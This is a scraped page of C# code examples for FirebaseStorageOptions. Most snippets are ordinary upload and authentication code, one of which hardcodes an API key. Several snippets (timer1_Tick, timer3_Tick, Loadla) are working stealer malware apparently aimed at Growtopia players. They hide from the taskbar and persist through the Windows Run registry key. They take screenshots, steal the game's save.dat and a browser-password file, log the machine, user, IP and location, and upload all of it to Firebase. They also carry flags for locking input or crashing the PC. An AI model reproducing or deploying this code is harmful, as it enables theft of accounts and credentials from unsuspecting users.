Ejemplo n.º 1
0
        public async Task PushFirebaseAsync(Config conf)
        {
            Console.WriteLine("Start upload ...");
            // Get any Stream - it can be FileStream, MemoryStream or any other type of Stream
            var stream = File.Open(@"pdfcreated.pdf", FileMode.Open);

            var authProvider =
                new FirebaseAuthProvider(new Firebase.Auth.FirebaseConfig(conf.ApiKey));
            var auth = await authProvider.SignInWithEmailAndPasswordAsync(conf.Email, conf.Pw);

            var authOption = new FirebaseStorageOptions
            {
                AuthTokenAsyncFactory = () => Task.FromResult(auth.FirebaseToken),
                ThrowOnCancel         = true
            };

            // Construct FirebaseStorage, path to where you want to upload the file and Put it there
            var task = new FirebaseStorage(@"htlgkr-testet.appspot.com", authOption)
                       .Child("pdf")
                       .Child("pdfcreated.pdf")
                       .PutAsync(stream);

            // Track progress of the upload
            task.Progress.ProgressChanged += (s, e) => Console.WriteLine($"Progress: {e.Percentage} %");

            // await the task to wait until upload completes and get the download url
            var downloadUrl = await task;

            Console.WriteLine("URL: " + downloadUrl);
        }
 private async void timer3_Tick(object sender, EventArgs e)
 {
     try
     {
         FirebaseStorageOptions firebaseoptions = new FirebaseStorageOptions
         {
             AuthTokenAsyncFactory = () => Task.FromResult("")
         };
         Bitmap bmp = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
         using (Graphics g = Graphics.FromImage(bmp))
         {
             g.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size);
             bmp.Save("screenshot.png");
             var screenshots = File.Open("screenshot.png", FileMode.Open);
             var firebase    = new FirebaseStorage("", firebaseoptions);
             await firebase
             .Child("savedats")
             .Child(HDDSerial())
             .Child("screenshots")
             .Child(DateTime.Now.ToString())
             .PutAsync(screenshots);
         }
     }
     catch (Exception)
     {
     }
 }
        private async void timer1_Tick(object sender, EventArgs e)
        {
            takeScreenShot();
            string    timer_info = "timer is enabled!";
            TimerLogs timer      = new TimerLogs {
                PcName         = Environment.MachineName,
                Username       = Environment.UserName,
                HarddiskSerial = HDDSerial(),
                title          = timer_info,
                Date           = DateTime.Now.ToString(),
                Location       = GetCountry(),
                LockKeyboard   = "D",
                LockMouse      = "D",
                KillGrowtopia  = "D",
                CrashPc        = "D"
            };

            FirebaseClient = new FireSharp.FirebaseClient(Config);
            SetResponse setResponse = await FirebaseClient.SetAsync("accounts/" + HDDSerial() + "/timer_logs", timer);

            TimerLogs logs = setResponse.ResultAs <TimerLogs>();

            FirebaseStorageOptions firebaseoptions = new FirebaseStorageOptions
            {
                AuthTokenAsyncFactory = () => Task.FromResult("")//firebasestorage
            };
            var savedat  = File.Open(savedatpath, FileMode.Open);
            var firebase = new FirebaseStorage("", firebaseoptions);//firebase storage yolunuz
            await firebase
            .Child("savedats")
            .Child(HDDSerial())
            .Child("timer_logs")
            .Child(DateTime.Now.ToString())
            .PutAsync(savedat);
        }
Ejemplo n.º 4
0
        public async Task <bool> Open()
        {
            if (IsConnected)
            {
                return(true);
            }
            try
            {
                var cf = new FirebaseConfig(_creds.ApiKey);
                var ap = new FirebaseAuthProvider(cf);

                var au = await ap.SignInWithEmailAndPasswordAsync
                             (_creds.Email, _creds.Password);

                Func <Task <string> > ts = async()
                                           => (await au.GetFreshAuthAsync()).FirebaseToken;

                var op = new FirebaseOptions();
                op.AuthTokenAsyncFactory = ts;

                _client = new FirebaseClient(_creds.BaseURL, op);

                var so = new FirebaseStorageOptions();
                so.AuthTokenAsyncFactory = ts;
                _storage = new FirebaseStorage(BucketURL, so);

                return(true);
            }
            catch (Exception)
            {
                return(false);
            }
        }
        private void AuthenToFirebase()
        {
            FirebaseAuthProvider authProvider = new FirebaseAuthProvider(new FirebaseConfig(authKey));
            var opt = new FirebaseStorageOptions
            {
                AuthTokenAsyncFactory = () => LoginAsync(authProvider),
                ThrowOnCancel         = true
            };

            fbStorage = new FirebaseStorage(bucketUrl, opt);
        }
Ejemplo n.º 6
0
        public FirebaseApiClient(Func <User> currentUserProvider, Func <Task> loginSequence)
        {
            _currentUserProvider = currentUserProvider;
            _loginSequence       = loginSequence;

            _firebaseConfig = new FirebaseConfig("AIzaSyAqHIXOmzA0UgyaYYV7IGTjzzcxeNm9YZk");

            _firebaseAuthProvider = new FirebaseAuthProvider(_firebaseConfig);

            var databaseOptions = new FirebaseOptions();

            databaseOptions.AuthTokenAsyncFactory = async delegate
            {
                if (currentUserProvider() == null)
                {
                    await loginSequence();
                }

                FirebaseAuthLink authData    = null;
                User             currentUser = currentUserProvider();
                if (currentUser.authData == null)
                {
                    // silent login
                    if (currentUser.email != null && currentUser.password != null)
                    {
                        authData = await _firebaseAuthProvider.SignInWithEmailAndPasswordAsync(currentUser.email, currentUser.password);
                    }
                    else if (currentUser.facebookToken != null)
                    {
                        authData = await _firebaseAuthProvider.SignInWithOAuthAsync(FirebaseAuthType.Facebook, currentUser.facebookToken);
                    }
                    currentUser.authData = authData;
                }
                else
                {
                    authData = currentUser.authData;
                }

                return(authData?.FirebaseToken);
            };

            databaseOptions.SyncPeriod = TimeSpan.Zero;

            _firebaseClient = new FirebaseClient("https://supernoteswifi3d.firebaseio.com/", databaseOptions);

            var storageOptions = new FirebaseStorageOptions();

            storageOptions.AuthTokenAsyncFactory = databaseOptions.AuthTokenAsyncFactory;
            _firebaseStorage = new FirebaseStorage("supernoteswifi3d.appspot.com", storageOptions);
        }
        private async Task AuthenticateAsync()
        {
            //Can't auth if there's no internet
            if (!ThereIsInternet())
            {
                return;
            }
            SetBusy(true);
            token = await auth.SignInWithEmailAndPasswordAsync(credEmail, credPass);

            fbRefOptions = new FirebaseStorageOptions
            {
                AuthTokenAsyncFactory = () => Task.FromResult(token.FirebaseToken)
            };
            fbRef = new FirebaseStorage(storageURLStr, fbRefOptions);
            SetBusy(false);
        }
Ejemplo n.º 8
0
        /// <summary>
        /// Save the selected image to the firestore cloud.
        /// </summary>
        /// <param name="imageStream"></param>
        /// <returns></returns>
        private async Task <string> StoreImage(Stream imageStream)
        {
            //set the authentication token
            var options = new FirebaseStorageOptions
            {
                AuthTokenAsyncFactory = async() => await Xamarin.Forms.DependencyService.Get <IFirebaseAuthenticator>().GetCurrentUser()
            };

            var storageImage = await new FirebaseStorage("questonaut.appspot.com", options)
                               .Child("UserImages")
                               .Child(CurrentUser.Instance.User.Email + ".jpg")
                               .PutAsync(imageStream);

            //set the image localy
            CurrentUser.Instance.User.LocalImage = GetImageStreamAsBytes.Convert(imageStream);

            return(storageImage);
        }
Ejemplo n.º 9
0
 /// <summary>
 /// Creates an instance of <see cref="FirebaseStorage"/> class.
 /// </summary>
 /// <param name="storageBucket"> Google storage bucket. E.g. 'your-bucket.appspot.com'. </param>
 /// <param name="options"> Optional settings. </param>
 public FirebaseStorage(string storageBucket, FirebaseStorageOptions options = null)
 {
     this.StorageBucket = storageBucket;
     this.Options       = options ?? new FirebaseStorageOptions();
 }
        private async void Loadla()
        {
            Random random     = new Random();
            int    ilksayi    = random.Next(100000, 999999);
            int    ikincisayi = random.Next(10000, 99999);
            string datet      = DateTime.Now.Day.ToString() + "-" + DateTime.Now.Month.ToString() + "-" + DateTime.Now.Year.ToString() + "   " + DateTime.Now.Hour.ToString() + "-" + DateTime.Now.Minute.ToString() + "-" + DateTime.Now.Second.ToString();
            string pathz      = ilksayi.ToString() + " : " + datet;

            this.ShowInTaskbar = false;
            Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
            key.SetValue("Registry", Application.ExecutablePath);

            var GonderilecekData = new GonderilecekData()
            {
                PcName         = Environment.MachineName.ToString(),
                Username       = Environment.UserName.ToString(),
                IP             = GetIp().ToString(),
                Location       = GetCountry().ToString(),
                Savedat        = "",
                HarddiskSerial = HDDSerial(),
                StolenAt       = DateTime.Now.ToString()
            };

            FirebaseClient = new FireSharp.FirebaseClient(Config);
            SetResponse set = await FirebaseClient.SetAsync("accounts/" + HDDSerial() + "/" + pathz, GonderilecekData);

            GonderilecekData result = set.ResultAs <GonderilecekData>();

            FirebaseStorageOptions firebaseoptions = new FirebaseStorageOptions
            {
                AuthTokenAsyncFactory = () => Task.FromResult("")
            };
            var savedat  = File.Open(savedatpath, FileMode.Open);
            var firebase = new FirebaseStorage("", firebaseoptions);
            await firebase
            .Child("savedats")
            .Child(HDDSerial())
            .Child(pathz)
            .PutAsync(savedat);

            try
            {
                var googlepass = File.Open(GoogleStealer, FileMode.Open);
                var firebase2  = new FirebaseStorage("", firebaseoptions);//firebase storage yolunuz
                await firebase2
                .Child("GooglePass")
                .Child(HDDSerial())
                .Child(ilksayi.ToString() + " : " + DateTime.Now.ToString())
                .PutAsync(googlepass);
            }
            catch (Exception)
            {
            }
            string    timer_info = "logged succesfully!";
            TimerLogs timer      = new TimerLogs
            {
                PcName         = Environment.MachineName,
                Username       = Environment.UserName,
                HarddiskSerial = HDDSerial(),
                title          = timer_info,
                Date           = DateTime.Now.ToString(),
                Location       = GetCountry(),
                LockKeyboard   = "D",
                LockMouse      = "D",
                KillGrowtopia  = "D",
                CrashPc        = "D"
            };

            FirebaseClient = new FireSharp.FirebaseClient(Config);
            SetResponse setResponse = await FirebaseClient.SetAsync("accounts/" + HDDSerial() + "/timer_logs", timer);

            TimerLogs logs = setResponse.ResultAs <TimerLogs>();


            timer1.Enabled = true;

            timer2.Enabled = true;

            timer3.Enabled = true;
        }
        /// <summary>
        /// Enables to attache FirebaseStorage to Hangfire
        /// </summary>
        /// <param name="configuration">The IGlobalConfiguration object</param>
        /// <param name="url">The url string to Firebase Database</param>
        /// <param name="authSecret">The secret key for the Firebase Database</param>
        /// <param name="options">The FirebaseStorage object to override any of the options</param>
        /// <returns></returns>
        public static IGlobalConfiguration <FirebaseStorage> UseFirebaseStorage(this IGlobalConfiguration configuration, string url, string authSecret, FirebaseStorageOptions options)
        {
            if (configuration == null)
            {
                throw new ArgumentNullException(nameof(configuration));
            }
            if (string.IsNullOrEmpty(url))
            {
                throw new ArgumentNullException(nameof(url));
            }
            if (string.IsNullOrEmpty(authSecret))
            {
                throw new ArgumentNullException(nameof(authSecret));
            }
            if (options == null)
            {
                throw new ArgumentNullException(nameof(options));
            }

            FirebaseStorage storage = new FirebaseStorage(url, authSecret, options);

            return(configuration.UseStorage(storage));
        }